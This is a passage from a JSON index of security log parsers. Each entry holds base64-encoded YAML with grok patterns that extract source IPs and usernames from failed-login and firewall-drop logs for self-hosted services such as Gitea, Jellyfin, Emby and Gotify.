lQOnJlbW90ZV9pcH0nCiAgICAgICAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuUGFyc2VkLm1lc3NhZ2UsICJyZW1vdGVfaXAiKQogICAgICAtIGdyb2s6IAogICAgICAgICAgcGF0dGVybjogJyV7UkZDMzMzOTp0aW1lc3RhbXB9JwogICAgICAgICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5tZXNzYWdlLCAidGltZSIpCgpzdGF0aWNzOgogICAgLSBtZXRhOiBzZXJ2aWNlCiAgICAgIHZhbHVlOiBhdXRoZWxpYQogICAgLSBtZXRhOiB1c2VyCiAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnVzZXJuYW1lIgogICAgLSBtZXRhOiB1c2VyCiAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLmVtYWlsIgogICAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudGltZXN0YW1wCiAgICAtIG1ldGE6IHNvdXJjZV9pcAogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5yZW1vdGVfaXAi", "description": "Parse Authelia logs", "author": "LePresidente", "labels": null }, "LePresidente/emby-logs": { "path": "parsers/s01-parse/LePresidente/emby-logs.yaml", "stage": "s01-parse", "version": "0.3", "versions": { "0.1": { "digest": "e4721455bd2732edce9a185498f865f42eaa945c76de2fc62666ecbcc8257aff", "deprecated": false }, "0.2": { "digest": "a059a5f6bd938262e7775f158a6a4fe0902ae44e0f4d853285613553be7ea236", "deprecated": false }, "0.3": { "digest": "60d30153bb280d5f3dfe1c16b3094e7e043200c379b7667b8fe1c19dba653978", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciBbZW1ieV0oaHR0cHM6Ly9lbWJ5Lm1lZGlhKSBMb2dzLgoKYGBgeWFtbAotLS0KZmlsZW5hbWVzOgogLSAvdmFyL2xvZy9lbWJ5c2VydmVyLnR4dApsYWJlbHM6CiAgdHlwZTogZW1ieQpgYGA=", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCiNkZWJ1ZzogZmFsc2UKbmFtZTogTGVQcmVzaWRlbnRlL2VtYnktbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIGVtYnkgbG9ncyIKZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtID09ICdlbWJ5JyIKbm9kZXM6CiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnJXtUSU1FU1RBTVBfSVNPODYwMTp0aW1lc3RhbXB9Lio/QVVUSC1FUlJPUjogJXtJUDpzb3VyY2VfaXB9IC0gSW52YWxpZCB1c2VybmFtZSBvciBwYXNzd29yZCBlbnRlcmVkXC4kJwogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiBlbWJ5X2ZhaWxlZF9hdXRoCgpzdGF0aWNzOgogICAgLSBtZXRhOiBzZXJ2aWNlCiAgICAgIHZhbHVlOiBlbWJ5CiAgICAtIG1ldGE6IHNvdXJjZV9pcAogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zb3VyY2VfaXAiCiAgICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC50aW1lc3RhbXA=", "description": "Parse emby logs", "author": "LePresidente", "labels": null }, "LePresidente/gitea-logs": { "path": "parsers/s01-parse/LePresidente/gitea-logs.yaml", "stage": "s01-parse", "version": "0.4", "versions": { "0.1": { "digest": "61733cf559c01d68ad3ee7d571c836273a0f26e03d1ac7d3b6c5f80783f802de", "deprecated": false }, "0.2": { "digest": "784d48685704bc9645dd7ee8bd9fa96b7c0dcdd3234cab06fc51770e21e44312", "deprecated": false }, "0.3": { "digest": "67f28ca6777dd1e64723ed3e6a70624d371f3ddd780e5f8fea5c9fa447441c55", "deprecated": false }, "0.4": { "digest": "23eb7133e86141d6cedc0b37ec89c43f7a4843b767d0b0c6b565be148040add7", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciBbR2l0ZWFdKGh0dHBzOi8vZ2l0ZWEuaW8pIExvZ3MuCgpgYGB5YW1sCi0tLQpmaWxlbmFtZXM6CiAtIC92YXIvbG9nL2dpdGVhLmxvZwpsYWJlbHM6CiAgdHlwZTogZ2l0ZWEKYGBg", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCiNkZWJ1ZzogZmFsc2UKbmFtZTogTGVQcmVzaWRlbnRlL2dpdGVhLWxvZ3MKZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtID09ICdnaXRlYSciCmRlc2NyaXB0aW9uOiAiUGFyc2UgZ2l0ZWEgbG9ncyIKcGF0dGVybl9zeW50YXg6CiAgR0lURUFfQ1VTVE9NVVNFUjogIigle0VNQUlMQUREUkVTU318JXtVU0VSTkFNRX0pIgogIEdJVEVBX0NVU1RPTURBVEU6ICIle0RBVEVfWH0gJXtUSU1FfSIKbm9kZXM6CiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnXiV7R0lURUFfQ1VTVE9NREFURTp0aW1lc3RhbXB9Lio/RmFpbGVkIGF1dGhlbnRpY2F0aW9uIGF0dGVtcHQgZm9yICV7R0lURUFfQ1VTVE9NVVNFUjp1c2VybmFtZX0gZnJvbSAle0lQOnJlbW90ZV9pcH06JXtOVU1CRVI6cmVtb3RlX3BvcnR9OiB1c2VyIGRvZXMgbm90IGV4aXN0JwogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiBnaXRlYV9mYWlsZWRfYXV0aAoKc3RhdGljczoKICAgIC0gbWV0YTogc2VydmljZQogICAgICB2YWx1ZTogZ2l0ZWEKICAgIC0gbWV0YTogdXNlcgogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC51c2VybmFtZSIKICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnRpbWVzdGFtcAogICAgLSBtZXRhOiBzb3VyY2VfaXAKICAgICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQucmVtb3RlX2lwIg==", "description": "Parse gitea logs", "author": "LePresidente", "labels": null }, "LePresidente/jellyfin-logs": { "path": "parsers/s01-parse/LePresidente/jellyfin-logs.yaml", "stage": "s01-parse", "version": "0.3", "versions": { "0.1": { "digest": "84040848391d95ee8157b897936c52044ebf1c617fb7afb7b5dacbdc23cf0026", "deprecated": false }, "0.2": { "digest": "30e1fd118ce846ab35a7948f8f22a80cf8a7687a8eea65f31af1d053a9be7908", "deprecated": false }, "0.3": { "digest": "9752de75a0ee0b01a24ea373b9e3728dddcf98bea6c8495d1cf19632bc5ea4a0", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciBbSmVsbHlmaW5dKGh0dHBzOi8vamVsbHlmaW4ub3JnKSAgTG9ncy4KCmBgYHlhbWwKLS0tCmZpbGVuYW1lczoKIC0gL3Zhci9sb2cvamVsbHlmaW4vbG9nXyoubG9nCmxhYmVsczoKICB0eXBlOiBqZWxseWZpbgpgYGA=", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCiNkZWJ1ZzogZmFsc2UKbmFtZTogTGVQcmVzaWRlbnRlL2plbGx5ZmluLWxvZ3MKZGVzY3JpcHRpb246ICJQYXJzZSBqZWxseWZpbiBsb2dzIgpmaWx0ZXI6ICJldnQuUGFyc2VkLnByb2dyYW0gPT0gJ2plbGx5ZmluJyIKcGF0dGVybl9zeW50YXg6CiAgSkVMTFlGSU5fQ1VTVE9NVVNFUjogIigle0VNQUlMQUREUkVTU318JXtVU0VSTkFNRX0pIgogIEpFTExZRklOX0NVU1RPTURBVEU6ICIle1lFQVJ9LSV7TU9OVEhOVU19LSV7TU9OVEhEQVl9ICV7SE9VUn06JXtNSU5VVEV9OiV7U0VDT05EfSIKbm9kZXM6CiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnXFsle0pFTExZRklOX0NVU1RPTURBVEU6dGltZXN0YW1wfS4qXF0uKkF1dGhlbnRpY2F0aW9uIHJlcXVlc3QgZm9yICIle0pFTExZRklOX0NVU1RPTVVTRVI6dXNlcm5hbWV9IiBoYXMgYmVlbiBkZW5pZWQgXChJUDogIiV7SVA6c291cmNlX2lwfSJcKS4qJwogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiBqZWxseWZpbl9mYWlsZWRfYXV0aAoKc3RhdGljczoKICAgIC0gbWV0YTogc2VydmljZQogICAgICB2YWx1ZTogamVsbHlmaW4KICAgIC0gbWV0YTogdXNlcgogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC51c2VybmFtZSIKICAgIC0gbWV0YTogc291cmNlX2lwCiAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNvdXJjZV9pcCIKICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnRpbWVzdGFtcA==", "description": "Parse jellyfin logs", "author": "LePresidente", "labels": null }, "LePresidente/jellyseerr-logs": { "path": "parsers/s01-parse/LePresidente/jellyseerr-logs.yaml", "stage": "s01-parse", "version": "0.3", "versions": { "0.1": { "digest": "7d41498c0683ae655c3a6dcd35b9bcd8986cbe73fc4567fd09ffdf12ca3d8176", "deprecated": false }, "0.2": { "digest": "8db12c71262bc7ea91380d2ba1387efbb932c4c384b65945b017201442ca1f18", "deprecated": false }, "0.3": { "digest": "9a045612d84da761d7bbb603a392f3e1fe86ad7f7021a5869a300e79f9656676", "deprecated": false } }, "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCiNkZWJ1ZzogZmFsc2UKbmFtZTogTGVQcmVzaWRlbnRlL2plbGx5c2VlcnItbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIGplbGx5c2VlcnIgbG9ncyIKZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtID09ICdqZWxseXNlZXJyJyIKcGF0dGVybl9zeW50YXg6CiAgSkVMTFlTRUVSUl9DVVNUT01VU0VSOiAiKCV7RU1BSUxBRERSRVNTfXwle1VTRVJOQU1FfSkiCm5vZGVzOgogIC0gZ3JvazoKICAgICAgcGF0dGVybjogJyV7UkZDMzMzOTp0aW1lc3RhbXB9LipGYWlsZWQgc2lnbi1pbiBhdHRlbXB0IHVzaW5nIGludmFsaWQgLiogcGFzc3dvcmQuKnsiaXAiOiI6OmZmZmY6JXtJUDpzb3VyY2VfaXB9IiwiZW1haWwiOiIle0pFTExZU0VFUlJfQ1VTVE9NVVNFUjp1c2VybmFtZX0ifScKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogamVsbHlzZWVycl9mYWlsZWRfYXV0aAogIC0gZ3JvazoKICAgICAgcGF0dGVybjogJyV7UkZDMzMzOTp0aW1lc3RhbXB9LipGYWlsZWQgbG9naW4gYXR0ZW1wdCBmcm9tIHVzZXIgd2l0aCBpbmNvcnJlY3QuKmNyZWRlbnRpYWxzIHsiYWNjb3VudCI6eyJpcCI6Ijo6ZmZmZjole0lQOnNvdXJjZV9pcH0iLCJlbWFpbCI6IiV7SkVMTFlTRUVSUl9DVVNUT01VU0VSOnVzZXJuYW1lfSIsInBhc3N3b3JkIjoiX19SRURBQ1RFRF9fIn19JwogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiBqZWxseXNlZXJyX2ZhaWxlZF9hdXRoCiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnJXtSRkMzMzM5OnRpbWVzdGFtcH0uKkZhaWxlZCBzaWduLWluIGF0dGVtcHQgdXNpbmcgaW52YWxpZCAuKiBwYXNzd29yZC4qeyJpcCI6IiV7SVA6c291cmNlX2lwfSIsImVtYWlsIjoiJXtKRUxMWVNFRVJSX0NVU1RPTVVTRVI6dXNlcm5hbWV9In0nCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6IGplbGx5c2VlcnJfZmFpbGVkX2F1dGgKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICcle1JGQzMzMzk6dGltZXN0YW1wfS4qRmFpbGVkIGxvZ2luIGF0dGVtcHQgZnJvbSB1c2VyIHdpdGggaW5jb3JyZWN0LipjcmVkZW50aWFscyB7ImFjY291bnQiOnsiaXAiOiIle0lQOnNvdXJjZV9pcH0iLCJlbWFpbCI6IiV7SkVMTFlTRUVSUl9DVVNUT01VU0VSOnVzZXJuYW1lfSIsInBhc3N3b3JkIjoiX19SRURBQ1RFRF9fIn19JwogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiBqZWxseXNlZXJyX2ZhaWxlZF9hdXRoCgpzdGF0aWNzOgogICAgLSBtZXRhOiBzZXJ2aWNlCiAgICAgIHZhbHVlOiBqZWxseXNlZXJyCiAgICAtIG1ldGE6IHNvdXJjZV9pcAogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zb3VyY2VfaXAiCiAgICAtIG1ldGE6IHVzZXIKICAgICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQudXNlcm5hbWUiCiAgICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC50aW1lc3RhbXA=", "description": "Parse jellyseerr logs", "author": "LePresidente", "labels": null }, "LePresidente/ombi-logs": { "path": "parsers/s01-parse/LePresidente/ombi-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "349a5cf885c37a19465568ffdd1951677c0a9c9657cfa2fcd952d07899b1166d", "deprecated": false }, "0.2": { "digest": "a0cb8745d077d692586d36eb64b052a139666d26bc04f4a48cd72575eab714d1", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciBbT21iaV0oaHR0cHM6Ly9vbWJpLmlvKSBMb2dzLgoKYGBgeWFtbAotLS0KZmlsZW5hbWVzOgogLSAvdmFyL2xvZy9vbWJpL2xvZy0qLnR4dApsYWJlbHM6CiAgdHlwZTogb21iaQpgYGA=", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCiNkZWJ1ZzogZmFsc2UKbmFtZTogTGVQcmVzaWRlbnRlL29tYmktbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIG9tYmkgbG9ncyIKZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtID09ICdvbWJpJyIKbm9kZXM6CiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnJXtUSU1FU1RBTVBfSVNPODYwMTp0aW1lc3RhbXB9Lio/RmFpbGVkIGxvZ2luIGF0dGVtcHQgYnkgSVA6ICV7SVA6c291cmNlX2lwfScKICAgICAgCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6IG9tYmlfYXV0aF9mYWlsZWQKCnN0YXRpY3M6CiAgICAtIG1ldGE6IHNlcnZpY2UKICAgICAgdmFsdWU6IG9tYmkKICAgIC0gbWV0YTogc291cmNlX2lwCiAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNvdXJjZV9pcCIKICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnRpbWVzdGFtcA==", "description": "Parse ombi logs", "author": "LePresidente", "labels": null }, "a1ad/meshcentral-logs": { "path": "parsers/s01-parse/a1ad/meshcentral-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "5d0d9069a3e8872106d88c3b7bbefc61817dceea197b41eb5e29e149c9100f26", "deprecated": false }, "0.2": { "digest": "3d89097772e8fd781deeb6695f2cb69242e0b8cdc3e9dad575fb47d075fe3b1e", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciBbTWVzaGNlbnRyYWxdKGh0dHBzOi8vd3d3Lm1lc2hjb21tYW5kZXIuY29tL21lc2hjZW50cmFsMikgQXV0aCBMb2dzLgoKWW91IG5lZWQgdG8gYWRkIHRoZSBmb2xsb3dpbmcgaW4gdGhlIE1lc2hjZW50cmFsIGNvbmZpZyBmaWxlIGJlZm9yZSBNZXNoY2VudHJhbCBzdGFydHMgbG9nZ2luZzoKImF1dGhMb2ciOiAiL29wdC9tZXNoY2VudHJhbC9tZXNoY2VudHJhbC1kYXRhL2F1dGgubG9nIgoKYGBgeWFtbAotLS0KZmlsZW5hbWVzOgogLSAvb3B0L21lc2hjZW50cmFsL21lc2hjZW50cmFsLWRhdGEvYXV0aC5sb2cKbGFiZWxzOgogIHR5cGU6IG1lc2hjZW50cmFsCmBgYAo=", "content": "Cm9uc3VjY2VzczogbmV4dF9zdGFnZQojZGVidWc6IGZhbHNlCm5hbWU6IGExYWQvbWVzaGNlbnRyYWwtbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIG1lc2hjZW50cmFsIGxvZ3MiCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSA9PSAnbWVzaGNlbnRyYWwnIgpwYXR0ZXJuX3N5bnRheDoKICBNRVNIQ0VOVFJBTF9DVVNUT01VU0VSOiAiKCV7RU1BSUxBRERSRVNTfXwle1VTRVJOQU1FfSkiCiAgTUVTSENFTlRSQUxfQ1VTVE9NREFURTogIiV7TU9OVEh9ICV7TU9OVEhEQVl9ICV7SE9VUn06JXtNSU5VVEV9OiV7U0VDT05EfSIKbm9kZXM6CiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnJXtNRVNIQ0VOVFJBTF9DVVNUT01EQVRFOnRpbWVzdGFtcH0uKkZhaWxlZCBwYXNzd29yZCBmb3IgJXtNRVNIQ0VOVFJBTF9DVVNUT01VU0VSOnVzZXJuYW1lfSBmcm9tICV7SVA6c291cmNlX2lwfS4qJwogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiBtZXNoY2VudHJhbF9mYWlsZWRfYXV0aAoKc3RhdGljczoKICAgIC0gbWV0YTogc2VydmljZQogICAgICB2YWx1ZTogbWVzaGNlbnRyYWwKICAgIC0gbWV0YTogdXNlcgogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC51c2VybmFtZSIKICAgIC0gbWV0YTogc291cmNlX2lwCiAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNvdXJjZV9pcCIKICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnRpbWVzdGFtcAo=", "description": "Parse meshcentral logs", "author": "a1ad", "labels": null }, "aderumier/proxmox-iptables-logs": { "path": "parsers/s01-parse/aderumier/proxmox-iptables-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "c0c3a2300829f3172cd2b850ed3c21fcc27765a587b31ebad8c1223c06cc647f", "deprecated": false } }, "long_description": "QSBwYXJzZXIgZm9yIHByb3htb3ggaXB0YWJsZXMgZm9ybWF0IGAtaiBORkxPRyAtLW5mbG9nLXByZWZpeCAnJHZtaWQ6JGxvZ2xldmVsOiRjaGFpbjogJG1zZydgOgoKIC0gT25seSBwYXJzZSBrZXJuZWwgbWVzc2FnZXMgY29udGFpbmluZyBgLUlOPWAsIHNwZWNpZmljIHRvIHByb3htb3ggKDxjaGFpbj4tSU4pCiAtIFNraXAgbGluZXMgaWYgZGVjaXNpb25zIGlzIGBBQ0NFUFRgIG9yIGBQVkVGVy1TRVQtQUNDRVBULU1BUktgCiAtIEFsbCBsb2dnZWQgcGFja2V0cyBhcmUgY29uc2lkZXJlZCBhcyBEUk9Qcy4K", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogImV2dC5QYXJzZWQubWVzc2FnZSBjb250YWlucyAnUFZFRlctcmVqZWN0JyBvciBldnQuUGFyc2VkLm1lc3NhZ2UgY29udGFpbnMgJ0RST1AnIG9yIGV2dC5QYXJzZWQubWVzc2FnZSBjb250YWlucyAnUkVKRUNUJyIKZGVidWc6IGZhbHNlCm5hbWU6IGFkZXJ1bWllci9wcm94bW94LWlwdGFibGVzLWxvZ3MKZGVzY3JpcHRpb246ICJQYXJzZSBwcm94bW94IGlwdGFibGVzIGRyb3AgbG9ncyIKZ3JvazoKICBwYXR0ZXJuOiAiXiV7Tk9UU1BBQ0U6dm1pZH0gJXtOT1RTUEFDRTpsb2dsZXZlbH0gJXtOT1RTUEFDRTppbnRfZXRofS1JTiAle0hUVFBEQVRFOmxvZ2RhdGV9IChwb2xpY3kgKT8le05PVFNQQUNFOmFjdGlvbn06KCBJTj0le0RBVEE6aWZhY2V9KT8oIE9VVD0le0RBVEE6b2ZhY2V9KT8oIFBIWVNJTj0le0RBVEE6cGh5c2lufSk/KCBQSFlTT1VUPSV7REFUQTpwaHlzb3V0fSk/KCBNQUM9JXtNQUM6ZHN0X21hY306JXtNQUN9JXtOT1RTUEFDRX0pPyBTUkM9JXtJUDpzcmNfaXB9IERTVD0le0lQOmRzdF9pcH0gTEVOPSV7SU5UOmRhdGFfbGVuZ3RofSggVE9TPTB4JXtCQVNFMTZOVU06dG9zfSk/KCBQUkVDPTB4JXtCQVNFMTZOVU06cHJlY30pPyggVEM9JXtJTlR9KT8oIEZMT1dMQkw9JXtJTlR9KT8oIEhPUExJTUlUPSV7SU5UOnR0bH0pPyggVFRMPSV7SU5UOnR0bH0pPyggSUQ9JXtJTlQ6aWR9KT8oICV7V09SRH0pPyBQUk9UTz0le05PVFNQQUNFOnByb3RvfSggU1BUPSV7SU5UOnNyY19wb3J0fSk/KCBEUFQ9JXtJTlQ6ZHN0X3BvcnR9KT8oIExFTj0le0lOVDpkYXRhX2xlbmd0aH0pPyggU0VRPSV7SU5UfSk/KCBBQ0s9JXtJTlQ6YWNrfSk/KCBXSU5ET1c9JXtJTlR9KT8oICV7V09SRDp0Y3BfZmxhZ3N9KT8iCiAgYXBwbHlfb246IG1lc3NhZ2UKc3RhdGljczoKICAgIC0gbWV0YTogc2VydmljZQogICAgICB2YWx1ZTogdGNwCiAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgIHZhbHVlOiBpcHRhYmxlc19kcm9wCiAgICAtIG1ldGE6IHNvdXJjZV9pcAogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zcmNfaXAiCg==", "description": "Parse proxmox iptables drop logs", "author": "aderumier", "labels": null }, "baudneo/gotify-logs": { "path": "parsers/s01-parse/baudneo/gotify-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "526d78255dcba17af4ee78e969241dfdcf00fe1efee8d4498e4875ec2db9d0b8", "deprecated": false } }, "long_description": "IyBEZXNjcmlwdGlvbgpBIHBhcnNlciB0aGF0IHdpbGwgc2VhcmNoIGZvciB1bmF1dGhvcml6ZWQgKDQwMSkgc3RhdHVzIGNvZGUgaW4gYSBsb2cgZmlsZSB0aGF0IGdvdGlmeSBpcyBvdXRwdXR0aW5nIGl0cyBzdGRvdXQgdG8uIApGcm9tIHRlc3RpbmcgaXQgc2VlbXMgZ290aWZ5IHJldHVybnMgYSA0MDEgZm9yIHVua25vd24gdXNlciwgYmFkIHBhc3N3b3JkLCBhbmQgaW5jb3JyZWN0IHRva2Vucy4gVGhlcmUgaXMgbm8gd2F5IHRvIApkZXRlcm1pbmUgd2hpY2ggaXMgd2hpY2ggc28gdGhpcyBwYXJzZXIgd2lsbCBvbmx5IHNlYXJjaCBmb3IgNDAxIHN0YXR1cyBjb2RlLgoKIyBIT1cgVE8gSU5TVEFMTCBQUk9QRVJMWQotIFJFUVVJUkVEIC0gZXhhbXBsZSBgYWNxdWlzLnlhbWxgIGVudHJ5IC0gVGhlIGB0eXBlYCAqKk1VU1QqKiBiZSBleGFjdGx5IGFzIHNob3duIGhlcmUgb3IgdGhlIHBhcnNlciB3aWxsIG5ldmVyIGJlIHN1Y2Nlc3NmdWwuCgpgYGB5YW1sCmZpbGVuYW1lczoKICAtIC9wYXRoL3RvL2dvdGlmeS5sb2cKbGFiZWxzOgogIHR5cGU6IGdvdGlmeQpgYGAKOmV4Y2xhbWF0aW9uOiBUaGUgYHR5cGVgICoqTVVTVCoqIGJlIGBnb3RpZnlgIDpleGNsYW1hdGlvbjoKCiMgU3RhdGljcwotIFRoZSBJUCBpcyB0aGUgb25seSBkYXRhIGdyYWJiZWQgZnJvbSB0aGUgbG9nIGFuZCBpcyBzdG9yZWQgaW4gYGV2dC5QYXJzZWQuc291cmNlX2lwYCBhbmQgYGV2dC5NZXRhLnNvdXJjZV9pcGAKCiMgSG93IHRvIC0gSGF2ZSBHb3RpZnkgKERvY2tlcikgbG9nIHRvIGEgZmlsZQotIFlvdSBtdXN0IGNyZWF0ZSB5b3VyIG93biBgRG9ja2VyZmlsZWAgYW5kIHRoZW4gYnVpbGQgaXQuIEV4YW1wbGUgRG9ja2VyZmlsZSBhcyBmb2xsb3dzLgpgYGBEb2NrZXJmaWxlCkZST00gZ290aWZ5L3NlcnZlcgpFTlRSWVBPSU5UIC9iaW4vYmFzaCAtYyAnL2FwcC9nb3RpZnktYXBwIHwgdGVlIC9hcHAvZGF0YS9nb3RpZnkubG9nJwpgYGAKLSBCdWlsZCB0aGUgaW1hZ2UgYHN1ZG8gZG9ja2VyIGJ1aWxkIC10IDxUQUcgTkFNRT5gCi0gRXhhbXBsZSBgPFRBRyBOQU1FPmAgLSBzZXJ2ZXIvZ290aWZ5OmxvZ2dlcgotIE5vdyBtYWtlIGEgZG9ja2VyLWNvbXBvc2UgZmlsZSB0byB1c2UgdGhlIGltYWdlLCB0aGUgbG9nIGZpbGUgd2lsbCBlbmQgdXAgaW4gdGhlIGBnb3RpZnlfZGF0YWAgZGlyZWN0b3J5CmBgYGRvY2tlcgogIGdvdGlmeToKICAgIGltYWdlOiBnb3RpZnkvc2VydmVyOmxvZ2dlcgogICAgY29udGFpbmVyX25hbWU6IGdvdGlmeQogICAgcmVzdGFydDogYWx3YXlzCiAgICBwb3J0czoKICAgICAgLSA4MDgwOjgwCiAgICB2b2x1bWVzOgogICAgICAtICIuL2dvdGlmeV9kYXRhOi9hcHAvZGF0YSIKCmBgYAo=", "content": "I2ZpbHRlcjogJzEgPT0gMScgICMgRm9yIGh1YiB0ZXN0cwpmaWx0ZXI6IGV2dC5QYXJzZWQucHJvZ3JhbSA9PSAiZ290aWZ5IiAgIyBQcm9kdWN0aW9uCiNkZWJ1ZzogdHJ1ZQpvbnN1Y2Nlc3M6IG5leHRfc3RhZ2UKbmFtZTogYmF1ZG5lby9nb3RpZnktbG9ncwpkZXNjcmlwdGlvbjogcGFyc2VyIGZvciBHb3RpZnkgc2VydmVyCnBhdHRlcm5fc3ludGF4OgogIEdPVElGWV9TRVBFUkFUT1I6ICcle1NQQUNFfVx8JXtTUEFDRX0nCiAgR09USUZZXzQwMTogJ15cW0dJTlxdXHMqJXtZRUFSOnllYXJ9LyV7TU9OVEhOVU06bW9udGh9LyV7TlVNQkVSOmRheX0le1NQQUNFfVstXSV7U1BBQ0V9JXtUSU1FOnRpbWV9JXtHT1RJRllfU0VQRVJBVE9SfTQwMSV7R09USUZZX1NFUEVSQVRPUn0le0RBVEE6cmVxdWVzdF90aW1lX3Rvb2t9JXtHT1RJRllfU0VQRVJBVE9SfSV7SVA6c291cmNlX2lwfSV7R09USUZZX1NFUEVSQVRPUn0le1dPUkQ6cmVxdWVzdF90eXBlfSV7U1BBQ0V9IiV7REFUQTplbmRwb2ludH0iJwpub2RlczoKICAtIGdyb2s6CiAgICAgIG5hbWU6ICJHT1RJRllfNDAxIgogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiBnb3RpZnlfZmFpbGVkX2F1dGgKICAgICAgICAtIHRhcmdldDogU3RyVGltZQogICAgICAgICAgZXhwcmVzc2lvbjogfC0KICAgICAgICAgICAgZXZ0LlBhcnNlZC55ZWFyKyAiLyIgKyBldnQuUGFyc2VkLm1vbnRoICsgIi8iICsgZXZ0LlBhcnNlZC5kYXkgKyAiICIgKyBldnQuUGFyc2VkLnRpbWUKc3RhdGljczoKICAtIG1ldGE6IHNvdXJjZV9pcAogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5zb3VyY2VfaXAK", "description": "parser for Gotify server", "author": "baudneo", "labels": null }, "baudneo/zoneminder-logs": { "path": "parsers/s01-parse/baudneo/zoneminder-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "f603455093722174960807241d0959bfbd485c089372e4770298a0a9cd219001", "deprecated": false }, "0.2": { "digest": "150c13541d7664c6557199a47d877fdac7d1a8cf64ec812d4f8af032cbf73815", "deprecated": false } }, "long_description": 